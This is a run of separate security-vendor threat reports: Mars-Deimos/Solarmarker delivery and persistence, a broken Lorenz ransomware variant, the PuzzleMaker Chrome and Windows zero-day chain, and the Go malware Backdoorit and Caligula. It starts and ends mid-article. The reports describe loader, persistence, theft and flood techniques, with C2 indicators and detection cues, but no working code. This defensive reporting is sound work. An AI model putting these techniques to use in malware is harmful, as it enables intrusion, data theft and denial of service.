they do not recognize, as malicious actors bank on these as means to install ransomware. - **Follow established security frameworks.** Organizations can develop cybersecurity strategies based on the security frameworks created by the Center of Internet Security (CIS) and the National Institute of Standards and Technology (NIST). The security measures and best practices laid out in these frameworks can serve as a guide for organizations’ security teams as they design their own threat mitigation plans. Organizations can augment their cybersecurity infrastructure with multilayered detection and response solutions that can anticipate and respond to ransomware movements before operators can carry out an attack. One such solution is Trend Micro Vision One™, which is equipped with extended detection and response (XDR) capabilities that gather and automatically correlate data across multiple security layers — including email, endpoints, servers, cloud workloads, and networks — to avert ransomware attack attempts. Organizations can also benefit from solutions with network detection and response (NDR) capabilities, which can give them greater visibility over their network traffic. Among these solutions is Trend Micro Network One™, which provides security teams with the critical network telemetry they need to form a clearer picture of their environment, accelerate their response, and prevent future attacks.
# Mars-Deimos: From Jupiter to Mars and Back Again (Part Two) By squiblydoo, June 20, 2021 In May, I published an analysis of the persistence mechanism for Mars-Deimos and intended to publish further analysis regarding that individual sample; however, there have been many changes to the distributed malware since that time. As a reminder and abbreviated summary, a particular malware author or group of authors had started using malware tracked internally as Mars-Deimos, and I documented the persistence mechanism of that malware. The malware family is also tracked by researchers under other names: Jupyter, Solarmarker, Yellow Cockatoo, and Polazert. Jupyter had been documented by a few organizations as being able to steal browser cookies and passwords from browsers. However, the authors also distributed malware named Mars-Deimos, which differed substantially from Jupyter. Mars-Deimos has functionality for collecting information about the victim computer, encrypting the information, and submitting it back to the Command and Control server (C2). It also has functionality to download and execute code. ## Distribution The malware is downloaded in the following way: A victim googles for a template of a document, and a search result is a Google Site (sites.google.com) that offers them a PDF or DOC version of the template. NOTE: You’ll see randomly named documents like “Invoice PDF to Excel” or “Indeed Resume File Format.” All of these are completely randomized, and the names don’t matter for the sake of the malware. In fact, you can change the URL and give it a custom name if you want—again, it doesn’t matter—the same malware gets dropped. The user will select to download a PDF or DOC. By clicking one of the links, the victim will be sent off the Google Site to download the malware. The distribution system has features in place to prevent users from making too many downloads. For several months, the download page was a spoofed Microsoft website. NOTE: For security training, users should at least be aware of the idea of Red Flags. If they find something that seems off—like a Google Site leading to a Microsoft website—they should be encouraged to be skeptical. The current download site is a spoofed Google Drive. Between the download button and the Google Drive site, the user is passed through some oddly named sites. In this instance, those sites should be red flags for the user as they are unusual for Google sites and Google Drive. The user is then presented with a download button to download the “template” or “document” they are requesting. Many modern browsers will give a warning about the download as the browser recognizes it as an executable. Their distribution system is very dynamic and extensive. There are at least 60,000 Google Sites that lead to the malware, and I have documented ~1,000 unique domains controlled by the authors. The URLs on the Google Site are updated through JavaScript to assign the appropriate URL to the buttons on the page. ## The Binary When the malware is downloaded, its icon is set to be that of a PDF file. The file is ~107 MB in size to prevent being uploaded to most automated malware analysis sites. (Most malware analysis sites which are free or paid have a size restriction of 100MB.) The malware is often created and formed using the program InnoSetup. Unpacking the InnoSetup installer reveals junk data files which the authors themselves had named “waste.” These “waste” files are simply to make the executable a large size. In addition to the waste is a decoy PDF program. The malware authors have recently been seen deviating from InnoSetup. One recent binary was built with Delphi 7 and includes PowerShell executed from the compiled binary. The PowerShell reads and executes a temporary file. It is consistent with the scripts they use in other parts of their malware deployment: 1. Set $xp to a file dropped into AppData\Local\Temp\ 2. Set $xk to a key 3. Read the file $xp into the variable $xb, converting it from Base64 4. Delete the temporary file 5. Decode the file $xb using the key and using -bxor through a set of two for-loops 6. Set the encoding to UTF8 for the variable $xb 7. Execute the code from the decoded variable in memory. At this point in time, it appears very few virus detection systems detect this behavior from the executable. However, this type of behavior should be caught by an Endpoint Detection and Response (EDR) system that is being monitored by SOC analysts or System Administrators. Organizations should be using PowerShell script logging for catching PowerShell execution. The executed code from this malware sets in motion the loading of an info-stealing malware and sets a persistence mechanism. The most recent executables sleep for 30 minutes prior to starting the info-stealing malware. ## Persistence Previously, the malware’s persistence was managed by changing shortcuts to call the malware when the shortcuts were executed. Recent revisions have dropped a .lnk file in the user’s Start Menu\Programs\Startup directory. With the .lnk file being placed in this directory, it will be executed on startup and start the backdoor. EDR systems and System Administrators should monitor this directory as it is frequently used by malware. The file path used by the malware will use inconsistent capitalization for words like “Windows” to avoid some detection techniques and will look something like this: "C:\Users\*****\AppData\Roaming\miCrOsofT\wINDoWS\stARt meNU\PRogrAMS\startUp\a19392f921e4f9a03b0a25110d2ab.LnK" Newer revisions have stopped using a .bat/.cmd file and have used a random extension name. The file the .lnk points to is normally in a user’s AppData\Roaming or AppData\Roaming\Microsoft directory. The folder will be a randomly named directory: older versions use 4 characters, newer versions use around 14 characters. The .lnk file in this instance points to a highlighted file in the image above. It uses a name starting with “AJftzy.” When the .bat/.cmd script was used, it had been saved in this directory; however, the files that are now created appear to be decoy files, and the real persistence is used by the file extension. PowerShell is used by the malware to register the randomized file extension, in this case, it is ".xmJqGtrIkQlFig," and in turn, the file extension points to another class in the registry ("xmJqGtrlkQlFig_auto_file"). This registry class is set to execute PowerShell when the file extension is used. The PowerShell decodes and loads the Mars.Deimos malware into memory and launches it. ## Functionality In a previous version of this post, I hadn’t seen the binary loaded through the registry key. Instead, I had only seen the binary loaded by the executable after the 30-minute sleep. So in contrast to my previous understanding, the malware actually loads an info-stealing malware and then uses Mars-Deimos for a persistent backdoor. In recent versions, the malware has used two different binaries: “F.G.” or Jupyter for the info-stealer. The process for starting the binary is nearly identical to starting Mars-Deimos: the binary is read from an obfuscated file in a temporary directory, System.Reflection.Assembly is used to load the binary into memory, and a function native to the binary (like “Run” or “Interact”) is used to execute it. In contrast to Mars-Deimos and Jupyter, the F.G. malware appears to check to see what browsers are installed based on their default directories. If they exist, it will use System.Threading to start new threads. Based on my beginning analysis, it also appears to copy the content of forms to pass those back to the C2. The authors appear to be maintaining Jupyter, Mars.Deimos, F.G. and using them tactically in different distributions of the malware. They each have their own purpose, and it appears that each is being updated and used as seen appropriately. ## Detection The malware is most reliably caught by EDR systems. During my research for the last few months, many antivirus systems have failed to recognize and adapt to detecting new versions of the malware; however, other researchers have quickly identified infected systems through their monitoring systems. The main attributes seen quickly by EDR systems come from the PowerShell executed by the malware. The current versions of the malware use specific high-fidelity indicators of malicious activity. First, the PowerShell execution uses obfuscated variable names. These obfuscated variable names are a red flag of malicious activity. Second, the malware consistently uses IEX and System.Reflection.Assembly for executing the malware. These are both means of executing and loading code on a system and are rare for legitimate processes to use. Monitoring for the use of these two functions has been a high-quality means for detecting the malware. The PowerShell execution is called both in the initial infection and through the persistence mechanism, so if an organization begins to monitor for the use of PowerShell, they should detect both new and past infections. The malware can also be detected using YARA rules. The most consistent YARA rule for detecting this malware has been based on the DLL backdoor, as it appears the name of the DLL follows a consistent pattern across versions of the malware. The YARA Rule created by Luke Acha is able to identify the processes that have loaded the DLL. For those unfamiliar with using YARA Rules, consider using the YARA Memory Scanner from Binary Defense’s GitHub repository. This scanner can be given a YARA rule or the URL to a YARA rule, and it can scan a system to detect if the malware is present in memory. For example, the following PowerShell will run the YaraMemoryScanner script, download the YARA rule to check for this malware family, and scan the current running processes: ```powershell .\YaraMemoryScanner.ps1 https://raw.githubusercontent.com/securitymagic/yara/main/Jupyter%20Malware/JupyterDll ``` The output of the YaraMemoryScanner will display the Process ID, Process Name, and execution path of the processes and save the information in a text file. If any results are returned, the user should review the processes to confirm the malware infection. Infected hosts should have a file named “solarmarker.dat” in the user’s AppData\Roaming directory: this file is used as a host identifier by the malware. ## Summary The malware dropped by this distribution system appears to use a few different varieties: Jupyter, Mars-Deimos, F.G. Each of these appears to have very different functionality and is used tactically by the author to achieve different goals. The author changes their tactics regularly to avoid detection. Due to the frequent changes, antivirus often fails to detect the malware, but the malware can be detected through means of monitoring PowerShell execution on a host.
# Lorenz Ransomware Rebound: Corruption and Irrecoverable Files By Gijs Rijnders March 21, 2022 In July 2021, we came across the Lorenz ransomware. Lorenz is a ransomware strain that targets organizations, demanding hundreds of thousands of dollars in ransom. In our analysis in 2021, we found that the ransomware contained bugs and that it was possible to build a decryptor. As a result, we published a free decryptor for Lorenz via the NoMoreRansom initiative. In early March 2022, we came across a new variant of the Lorenz ransomware. The sample we analyzed dates back to March 2, 2022. Files encrypted by this variant are different from the previous one. This blog contains our findings on the new variant. Furthermore, we explain a serious bug in the ransomware that makes the attacker unable to recover any encrypted files. Finally, we announce that decryption is still possible without paying the ransom, or to be more specific, only possible without paying the ransom. ## Overview There are quite a few differences between this Lorenz variant and what we have seen before. For instance, the ransom note used to be an HTML document called ‘HELP_SECURITY_EVENT.html’. The ransom note of the new variant is a plain text document called ‘HELP.TXT’. Like the previous one, this Lorenz variant also contacts a command & control server. The contact is initialized via HTTP on port 80 by sending a small POST request containing the infected system’s computer name, internal IP address, and Windows OS version (e.g., 6.1 for Windows 7). This command & control communication might be used to provide basic usage statistics for the attackers. Another difference is string encryption. In the first variant of Lorenz we analyzed, strings were embedded in the binary in plain text. This time, they are encrypted using a simple algorithm: they are XOR-encrypted using the single-byte key 0x6B and then Base64-encoded. Unfortunately, this Lorenz variant contains a couple of serious bugs and mistakes. Unlike its predecessor, this variant does not create and check a mutex on startup. Furthermore, the encryption key needed to decrypt an affected file is not written, and therefore, decryption is virtually impossible. ## Possible Double Encryption It is common for ransomware to create a mutex on startup and terminate if the mutex already exists. This is a very important step, as it prohibits multiple instances of the ransomware from running simultaneously. The first variant of Lorenz we analyzed correctly created and checked a mutex called ‘wolf’. The process would automatically terminate if that mutex already exists. The recent variant of Lorenz we analyzed does not create or check a mutex. Therefore, multiple instances can be run simultaneously, allowing different instances to corrupt each other’s encrypted files to a point where decryption would later be very difficult or even impossible. ## File Encryption The core of the file encryption scheme has remained the same. Files are encrypted using a combination of RSA and AES encryption in CBC mode. A password is generated at random and used to derive the actual encryption key using the CryptDeriveKey function. However, the way files are encrypted has changed. The previous variant encrypted every file whole, in blocks of 48 bytes. The encrypted file marker ‘.sz40’ and RSA-encrypted password are then placed at the head of the file. The recent variant divides files into two categories: files smaller than 64368875 bytes (~61MiB) and files above this size. Small files are encrypted whole, but in blocks of 160 bytes. Large files are handled differently. Only the first 4000000000 bytes (~3.7GB) of these files are encrypted. Small files are encrypted side-by-side, because the encrypted file marker and encryption key are placed in the head of the file. That means the encrypted file is created, and the original file is deleted after encryption. Large files are encrypted in-place, which means that every block is read, encrypted, and written back to the file. After encryption, the file is renamed to its encrypted counterpart. As discussed above, files used to be encrypted in blocks of 48 bytes in the previous variant. The algorithm for encrypting small files in the new variant does this in blocks of 160 bytes. The authors might have altered the original encryption algorithm to now encrypt small files only and created a new algorithm to encrypt the large files. The authors forgot to alter one instance of 48 to 160. In practice, ‘is_final_block’ will always be TRUE once the end of the file has been reached, unless the remainder is 48 bytes. If the remaining number of bytes (the final block smaller than or equal to 160) is not a multiple of 8, the last bytes of the encrypted file may contain invalid data. ## A Serious Mistake For any ransomware to be successful, the ability to correctly recover the files that it encrypted is essential. If the attackers are unable to do so, they lose much of their leverage against the victim. The Lorenz authors made a serious mistake in the recent variant, rendering encrypted files un-decryptable. To recover an encrypted file, we need the key that was used to encrypt it. Recall that Lorenz randomly generates a password to derive the actual AES encryption key. This encryption key is then encrypted using RSA with the public key embedded in the ransomware by the attackers, which is common practice. Additionally, this RSA-encrypted key is written to the head or tail of the encrypted file. After all, we need it in order to recover the original file contents later. This is where the most serious mistake was made. The password is 40 characters long, but any RSA-1024 encrypted data requires 128 bytes (1024 / 8 bits) of memory space. The ransomware did not create a buffer large enough to fit these 128 bytes. The encrypted file marker and RSA-encrypted key are supposed to be written to the encrypted file using the WriteFile function. Since WriteFile would read outside of the 40-byte buffer ‘encrypted_file_key’, it fails and returns the ‘ERROR_INVALID_USER_BUFFER’ error. The returned error is not checked, and the file continues to be encrypted. The above screenshot was taken from the small-file encryption algorithm, but the large file algorithm suffers from the exact same issue. The result of this mistake is that encrypted files only contain the marker and encrypted contents. Without the key, recovering the file is virtually impossible. ## Conclusion For the previous Lorenz variant we analyzed, we concluded that decryption was possible without paying the ransom. Furthermore, we shed light on a bug that would destroy the last 48 bytes of some files. However, this new variant of Lorenz contains more serious issues, such as the destruction of files. Even though the 48-byte bug is fixed, we can safely conclude that this new variant is destructive. Thankfully, decryption is still possible without paying the ransom. Have you been hit by Lorenz? Don’t pay the ransom, as in some cases it will not get your files back. Contact us to discuss how we may be able to help you recover your data without paying the ransom! ## Indicators of Compromise **Indicator** | **Description** 427713275e7c4515e3c577684a7c5f96e45771fee54f1c3162a2d6a2cc4cd76e | SHA-256 of new Lorenz variant sample 172[.]86[.]75[.]81 | Command & control server
# PuzzleMaker Attacks with Chrome Zero-Day Exploit Chain **Authors** Costin Raiu Boris Larin Alexey Kulaev On April 14-15, 2021, Kaspersky technologies detected a wave of highly targeted attacks against multiple companies. Closer analysis revealed that all these attacks exploited a chain of Google Chrome and Microsoft Windows zero-day exploits. While we were not able to retrieve the exploit used for remote code execution (RCE) in the Chrome web browser, we were able to find and analyze an elevation of privilege (EoP) exploit that was used to escape the sandbox and obtain system privileges. The elevation of privilege exploit was fine-tuned to work against the latest and most prominent builds of Windows 10 (17763 – RS5, 18362 – 19H1, 18363 – 19H2, 19041 – 20H1, 19042 – 20H2) and it exploits two distinct vulnerabilities in the Microsoft Windows OS kernel. On April 20, 2021, we reported these vulnerabilities to Microsoft and they assigned CVE-2021-31955 to the information disclosure vulnerability and CVE-2021-31956 to the elevation of privilege vulnerability. Both vulnerabilities were patched on June 8, 2021, as a part of the June Patch Tuesday. ## Remote Code Execution Exploit All of the observed attacks were conducted through the Chrome browser. Unfortunately, we were unable to retrieve the JavaScript with full exploit code, but the timeframe of attacks and events preceding it led us to suspect one particular vulnerability. On April 6-8, 2021, the Pwn2Own competition took place. This is a computer hacking contest where the Google Chrome web browser was one of the targets. According to the ZDI (Zero Day Initiative, the organizer of Pwn2Own) website, one participating team was able to demonstrate a successful exploitation of the Chrome renderer process using a Typer Mismatch bug. On April 12, 2021, the developers of Chromium committed two Typer-related bug fixes to the open-source repository of V8 – a JavaScript engine used by Chrome and Chromium web browsers. One of these bug fixes was intended to patch a vulnerability that was used during Pwn2Own, and both bug fixes were committed together with regression tests – JavaScript files to trigger these vulnerabilities. Later on the same day, a user with the Twitter handle @r4j0x00 published a working remote code execution exploit on GitHub, targeting an up-to-date version of Google Chrome. That exploit used a vulnerability from issue 1196683 to execute a shellcode in the context of the browser renderer process. The published exploit didn’t contain a sandbox escape exploit and was therefore intended to work only when the browser was launched with the command line option –no-sandbox. On April 13, 2021, Google released Chrome update 89.0.4389.128 for Windows, Mac, and Linux with a fix for two vulnerabilities; CVE-2021-21220 (used during Pwn2Own) was one of them. Some of our customers who were attacked on April 14-15, 2021, already had their Chrome browser updated to 89.0.4389.128, and that’s why we think the attackers didn’t use CVE-2021-21220 in their attacks. On April 14, 2021, Google released Chrome update 90.0.4430.72 for Windows, Mac, and Linux with a fix for 37 vulnerabilities. On the same day, a new Chrome exploit was presented to the public. This newly published exploit used a vulnerability from issue 1195777, worked on the newly released Chrome 90.0.4430.72, and was fixed as CVE-2021-21224 only a few days later, on April 20, 2021. We suspect the attackers were also able to use this JavaScript file with regression test to develop the exploit (or acquire it from someone else) and were probably using CVE-2021-21224 in their attacks. ## Elevation of Privilege Exploit CVE-2021-31955 is an information disclosure vulnerability in ntoskrnl.exe. The vulnerability is affiliated with a Windows OS feature called SuperFetch. It was introduced in Windows Vista and is aimed to reduce software loading times by pre-loading commonly used applications into memory. For SuperFetch purposes, the function NtQuerySystemInformation implements a special system information class SystemSuperfetchInformation. This system information class incorporates more than a dozen of different SuperFetch information classes. The vulnerability lies in the fact that data returned by the NtQuerySystemInformation function for the SuperFetch information class SuperfetchPrivSourceQuery contains EPROCESS kernel addresses for currently executed processes. It’s noteworthy that this vulnerability can be observed in code that was available on GitHub for a few years before we caught it in the wild and Microsoft patched it. CVE-2021-31955 can be observed in the source code of the MemInfo utility. The other vulnerability, CVE-2021-31956, is a heap-based buffer overflow in ntfs.sys. The function NtfsQueryEaUserEaList processes a list of extended attributes for the file and stores the retrieved values to buffer. This function is accessible via ntoskrnl syscall and among other things it’s possible to control the size of the output buffer. If the size of the extended attribute is not aligned, the function will calculate a padding and the next extended attribute will be stored 32-bit aligned. The code checks if the output buffer is long enough to fit the extended attribute with padding, but it doesn’t check for possible integer-underflow. As a result, a heap-based buffer overflow can happen. The exploit uses CVE-2021-31956 along with Windows Notification Facility (WNF) to create arbitrary memory read and write primitives. We are planning to publish more information about this technique in the future. As the exploit uses CVE-2021-31955 to get the kernel address of the EPROCESS structure, it is able to use the common post-exploitation technique to steal SYSTEM token. However, the exploit uses a rarely used “PreviousMode” technique instead. We have seen this technique used by the CHAINSHOT framework and even made a presentation about it at CanSecWest/BlueHat in 2019. The exploit uses this technique to inject a malware module into the system process and execute it. ## Malware Modules Besides the aforementioned exploits, the full attack chain consists of four additional malware modules, which will be referred to as: - Stager - Dropper - Service - Remote shell The stager module is used to notify that exploitation was successful. It also downloads and executes a more complex malware dropper module from a remote server. Each stager module is delivered to the victim with a personalized configuration blob that defines the C&C URL, Session ID, keys to decrypt the next stage of malware, and other information. All the stager module samples that we’ve discovered so far were configured to use the same URL address – hxxps://p{removed}/metrika_upload/index.php – to download the encrypted malware dropper module. We believe there is a chance that the remote code execution JavaScript exploit was also hosted on the same legitimate-looking geopolitical news portal, but we found no evidence of a classic watering hole attack. The victimology suggests a highly targeted delivery of exploits. The dropper module is used to install two executables that pretend to be legitimate files belonging to Microsoft Windows OS. One of these files (%SYSTEM%\WmiPrvMon.exe) is registered as a service and is used as a launcher for the second executable. This second executable (%SYSTEM%\wmimon.dll) has the functionality of a remote shell and can be considered the main payload of the attack. We couldn’t find any similarities between this and other known malware. The remote shell module has a hardcoded URL of the C&C server inside (media-seoengine[.]com). All the communication between C&C server and client is authorized and encrypted. The remote shell module is able to download and upload files, create processes, sleep for specified amounts of time, and delete itself from the compromised machine. None of the artifacts we analyzed appear to have strong connections to any known threat actors. The only similarity to CHAINSHOT we observed is the “PreviousMode” technique, although this is publicly known and may be used by various groups. We are calling the threat actor behind these attacks PuzzleMaker. Kaspersky products detect this exploit and malware modules with the verdicts: - PDM:Exploit.Win32.Generic - PDM:Trojan.Win32.Generic - UDS:DangerousObject.Multi.Generic Kaspersky products detected these attacks with the help of the Behavioral Detection Engine and the Exploit Prevention component. Over the past few years, we have built a multitude of exploit protection technologies into our products that have detected many zero-days, repeatedly proving their effectiveness. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone. More information about these attacks and the actor behind them is available to customers of the Kaspersky Intelligence Reporting service. Contact: [email protected]. Kaspersky would like to thank Microsoft for their prompt analysis of the report and patches. ## IoCs - media-seoengine[.]com - %SYSTEM%\WmiPrvMon.exe - MD5: 09A5055DB44FC1C9E3ADD608EFFF038C - SHA-1: BFFA4462901B74DBFBFFAA3A3DB27DAA61211412 - SHA-256: 982F7C4700C75B81833D5D59AD29147C392B20C760FE36B200B541A0F841C8A9 - %SYSTEM%\wmimon.dll - MD5: D6B850C950379D5EE0F254F7164833E8 - SHA-1: E63ED3B56A5F9A1EA5C92D3D2444196EA13BE94B - SHA-256: 8A17279BA26C8FBE6966EA3300FDEFB1ADAE1B3ED68F76A7FC81413BD8C1A5F6 **Categories** - Browser - Google Chrome - Malware Technologies - Microsoft Windows - Targeted attacks - Trojan - Vulnerabilities and exploits
# Go Malware on the Rise **by David Álvarez** **July 13, 2022** **10 min read** ## Introduction The Go programming language is becoming increasingly popular. One reason is that Go programs can be compiled for multiple operating systems and architectures in a single binary containing all needed dependencies. Based on these properties, we have observed an increase in the number of malware and gray tools written in Go in recent months, discovering new samples weekly. For instance, in late April, we discovered two new strains in our internal honeypots, namely Backdoorit and Caligula, both of which were undetected on VirusTotal at that time. Both of these malware strains are multiplatform bots compiled for various processor architectures and written in Go. ## Analyzing Backdoorit Backdoorit (version 1.1.51562578125) is a multiplatform RAT written in Go, supporting both Windows and Linux/Unix operating systems. It is also referred to as backd00rit in many places in the code. A close inspection of the analyse-full command of Backdoorit concluded that its main purpose is stealing Minecraft-related files, Visual Studio, and IntelliJ projects. However, the malware is not limited to those files. Some commands (upload, basharchive, bashupload, etc.) allow it to steal arbitrary files and information, install other malware, or run arbitrary commands (run, run-binary, etc.) and take screenshots of user activity (screenshot, ssfile, etc.). Evidence indicates that the Backdoorit developer is not a native English speaker, suggesting a possible Russian threat actor. The comments and strings in the code are mostly in English but often grammatically incorrect. For instance, we found the message: “An confirmation required, run.” We also discovered some isolated strings in Russian. Additionally, we observed that VimeWorld files (a Russian project offering Minecraft servers) are being targeted, further indicating the Russian origin of the threat actor. After running Backdoorit, the RAT retrieves basic environment information such as the current operating system and the user name. It continuously tries to connect to a C&C server to give the attacker access to a shell. The malware logs all executed operations via a set of backd00r1t_logging_* functions. Those logs can be uploaded to the attacker's server using uploadlogs and uploadlogs-file shell commands or automatically if a Go panic exception is raised. In such cases, backd00r1t_backdoor_handlePanic handles the exception and performs the following actions: 1. Sends the logs to the endpoint /api/logs of the C&C server with a JSON request structure as defined in the function backd00r1t_api_SendLogs. 2. Closes the connection with the C&C server. 3. Attempts to reconnect. This handler helps keep the bot connected and allows the attacker to remotely follow the execution trace. Once the connection to C&C succeeds, the attacker gets context information such as the last connected time, Backdoorit version, process, active connections, user name, user home, user id, login, gid, process path, and modules autostart state. The shell allows the threat actor to remotely execute arbitrary commands. The first command likely to be run is the analyse-full command, which generates a report.txt file containing the Desktop, Documents, Downloads, Minecraft, and VimeWorld folder file trees and uploads the mentioned report along with the contents of Visual Studio and IntelliJ projects folders to Bashupload, a web service for uploading files from the command line with a storage limitation of 50GB. If the attacker chooses, they can implant other malware in the system using commands like run-binary (for downloading and executing a script), shell (to spawn the operating system shell), or other available commands. The malware also contains a “kill-switch” that can be triggered by the exploit command, which can crash the Windows operating system by exploiting CVE-2021-24098 and corrupt the NTFS of the hard disk via CVE-2021-28312 on vulnerable systems. This leads to complete loss of file information, including size, time and date stamps, permissions, and data content, as well as removing evidence of the infection. There are many more commands implemented in the shell that can be checked in the corresponding section of the Appendix. The malware incorporates a checkupdates command, so we may expect to see new versions of Backdoorit soon. ## Analyzing Caligula Caligula is a new IRC multiplatform malicious bot that allows for DDoS attacks. The malware was written in Go and distributed in ELF files targeting several different processor architectures: - Intel 80386 32-bit - ARM 32-bit - PowerPC 64-bit - AMD 64-bit It currently supports Linux and Windows platforms via WSL and uses the function os_user_Current for determining the underlying operating system. Caligula is based on the Hellabot open-source project, an easily modifiable event-based IRC bot that can be updated without losing connection to the server. More code reuse was found in Caligula from open-source projects (log15, fd, go-shellwords, go-isatty, and go-colorable), but the core functionality is based on Hellabot. All samples we hunted in the wild are prepared to connect to the same hardcoded IRC channel using the following data: - Host: 45.95.55.24:6667 - Channel: #caligula - Username: Composed of the platform, current user, and a pseudo-random number (e.g., [LINUX]kali-11066). Caligula IRC Net v1.0.0 is a botnet ready for flooding. The bots offer the attacker the following attacks: - **udp**: UDP flood with limited options. - **http**: HTTP flood with no options at all. - **syn**: SYN flood. - **handshake**: Handshake flood. - **tcp**: TCP flood. ## Conclusion Due to its native multiplatform support and relative ease of development, the use of Go for malicious purposes is currently growing, especially in malware targeting Unix/Linux operating systems. With the growing interest and community around Go, some malicious tools are being open-sourced on GitHub and reused by different threat actors. In this instance, we were among the first to hunt and detect Backdoorit and Caligula. ## Appendix ### Backdoorit Shell Commands Reference - **syntax** - **shell**: Spawns a shell. For Windows, it executes PowerShell if available; otherwise, it executes the Command prompt. For other platforms, it spawns a Bash Unix shell. - **help**: Shows help containing available commands and some status information. - **toggle-path**: Enables or disables showing the toggle path. - **bell**: Enables or disables the bell sound. - **clear-fallback**: Clears the screen. - **background-logs**: Asks the attacker for the buffer size and maximum buffer size to store logs in the background. - **backdoor**: Shows the RAT information: Built, Codename, Version, Reconnect time. - **clear-code**: Resets any style property of the font using ANSI Escape Codes: \x1B[0J. - **clear-color**: Clears the shell coloring. - **colors/color**: Enables or disables shell coloring. - **un-export**: Removes an environment variable. - **export**: Adds an environment variable. - **mkdir [path]**: Creates a folder for the specified path. - **exit**: Exits. - **wcd**: Prints the working directory. - **motd**: Prints information: Last connected time, Backdoorit version, Process, Active Connections, User name, User home, User id, Login, Gid, Process path, Modules Autostart state. - **get-asset**: Access to an asset identified by string and accessed via GO language mapaccess1_faststr function. - **extract-asset [asset] (path)**: Extracts an asset to the specified path. - **safe**: Allows disabling safe mode. - **open-file**: Opens a file. - **open**: Opens a URL in the browser. - **list-windows-disks**: Lists disks (available for Windows systems). - **cp [target][dist]**: Copies a file. - **rm**: Removes a file or folder and all its content. If trying to remove the entire current folder, the agent asks for confirmation to prevent human error. - **cd**: Changes the working directory. - **ls**: Shows modification date, filename, and size. - **cat [file][path]**: Reads a file. - **checkupdates**: Asks for the version at the endpoint: /api/version. If a new version is available, it downloads it using wget. - **exploit [exploit] […args]**: Runs an exploit. It currently supports the following exploits: - **windows/crash/unc**: Crashes Windows by accessing a specific file. - **windows/destroy/i30**: Corrupts the drive by executing a command. - **autostart**: Persists the payload by modifying specific files. - **autostart-update**: Updates autostart. - **exec [cmd] […args]**: Executes a command with specified arguments. - **sysinfo {detailed}**: Shows system information. - **neofetch/screenfetch**: Shows system information. - **Screenshot/ssfile/screen**: Creates a screenshot, stores it in a PNG file, uploads it, and removes the file from disk. - **archiveapi**: Creates a file and uploads it. - **Create-archive [output] [target]**: Creates an archive with files from the target in output. - **Uploadapi [file][path]**: Automatically uploads the file to predefined servers. - **uploadlogs-file**: Uses the /api/upload API endpoint for uploading the file agent.log. - **uploadlogs**: Sends logs to the API endpoint /api/logs in JSON format. - **upload [url] [file]**: Uploads a file to the server (HTTP). - **bashupload [file][path]**: Automatically uploads a file to bashupload.com. - **bashdownload [url]**: Downloads a file from bashupload.com. - **run [url]**: Downloads a script and runs it. - **run-binary**: Downloads a script and runs it (only supports Windows). - **cls**: Clears the screen. - **$STOP**: Stops Backdoorit. - **analyse-full**: Creates a report containing various file trees and uploads them. ### Backdoorit Bot Source Code Listing - H:/backdoorIt//injected/backdoor/BackdoorEnvironment.go - H:/backdoorIt//injected/backdoor/BackgroundTasks.go - H:/backdoorIt//injected/backdoor/CommandHelpers.go - H:/backdoorIt//injected/backdoor/ConnectionHandler.go - H:/backdoorIt//injected/files/Assets.go - H:/backdoorIt//injected/api/Configuration.go - H:/backdoorIt//injected/backdoor/ExecHandlers.go - H:/backdoorIt//injected/backdoor/ExecHandlers__linux.go - H:/backdoorIt//injected/backdoor/main.go - H:/backdoorIt//injected/launcher/main.go ### Caligula Bot Source Code Listing - /root/irc/bot/attack/attack.go - /root/irc/bot/attack/methods.go - /root/irc/bot/attack/parser.go - /root/irc/bot/attack/flags.go - /root/irc/bot/network/header.go - /root/irc/bot/network/ip.go - /root/irc/bot/network/tcp.go - /root/irc/bot/routine/timedRoutine.go - /root/irc/bot/attack/methods/httpflood.go - /root/irc/bot/attack/methods/sshflood.go - /root/irc/bot/attack/methods/synflood.go - /root/irc/bot/attack/methods/tcpflood.go - /root/irc/bot/attack/methods/udpflood.go - /root/irc/bot/handle.go - /root/irc/bot/singleInstance/singleinstance.go - /root/irc/bot.go ### IoCs **Backdoorit** 34366a8dab6672a6a93a56af7e27722adc9581a7066f9385cd8fd0feae64d4b0 **Caligula** 147aac7a9e7acfd91edc7f09dc087d1cd3f19c4f4d236d9717a8ef43ab1fe6b6 1945fb3e2ed482c5233f11e67ad5a7590b6ad47d29c03fa53a06beb0d910a1a0 4a1bb0a3a83f56b85f5eece21e96c509282fec20abe2da1b6dd24409ec6d5c4d 6cfe724eb1b1ee1f89c433743a82d521a9de87ffce922099d5b033d5bfadf606 71b2c5a263131fcf15557785e7897539b5bbabcbe01f0af9e999b39aad616731 99d523668c1116904c2795e146b2c3be6ae9db67e076646059baa13eeb6e8e9b fe7369b6caf4fc755cad2b515d66caa99ff222c893a2ee8c8e565121945d7a9c 97195b683fb1f6f9cfb6443fbedb666b4a74e17ca79bd5e66e5b4e75e609fd22 edcfdc1aa30a94f6e12ccf3e3d1be656e0ec216c1e852621bc11b1e216b9e001 The complete Backdoorit and Caligula IoCs are in our IoC repository.
# The Many Personalities of Lazarus OpEd: North Korea's "Lazarus Group" is best understood as a network of distinct groups or "clusters", each with unique capabilities and quirks. By Daniel Gordon and Brett Winterford · October 28, 2020 When it comes to North Korean cyber activity, analysts fall into one of two camps: the “it’s all Lazarus” camp or the “it’s complicated” camp. We’re in the second camp: DPRK activity should be clustered among a few related groups. The DPRK doesn’t make this clustering easy. It’s often hard to know where the state-directed activity stops and the operator side-hustles start. We know the North Korean crews target cryptocurrency wallets and exchanges, but the split of the bounty/booty between the operators’ personal crypto-stashes and government coffers is a bit of a mystery. Further, all the North Korean groups we list in this article use wipers or ransomware, and all use similar packers to mask malicious files. But overlapping geography and TTPs doesn’t mean a single “Lazarus Group” is orchestrating all these attacks. The overlaps are better explained by several operators sharing malware developed by a single team. Now, we could sit back and go all angry panda whenever we see an analyst get it wrong, or we could have our own crack at defining who’s who in the zoo. Bucketing the activity provides a clearer picture of North Korea’s targeting habits and the risks that they pose so we can better predict and defend against them. But first, a few caveats: linking the names different analysts give to each cluster of activity doesn’t make those groups synonymous. It’s a loose equivalency, at best. And our attempts to assign these groups some personality, well, that just makes our lives more bearable. ## “The Lazarus Group” aka Temp.Hermit, Labyrinth Chollima, RGB-D3, ZINC, Covellite, NICKEL ACADEMY Let’s start with the group that always gets the headlines: the Sony Hackers, the Bangladesh Bank SWIFT heist, attempts to hack U.S. defense contractors, and according to the DoJ’s Park indictment, the group responsible (if only in part) for WannaCry 2.0. Because of the clustering problems described earlier, it’s difficult – based on what’s published – to know where this crew stops and all the others begin. For example, some researchers group all activity directed at banks under BlueNoroff, while others fold it under Lazarus. What historically made 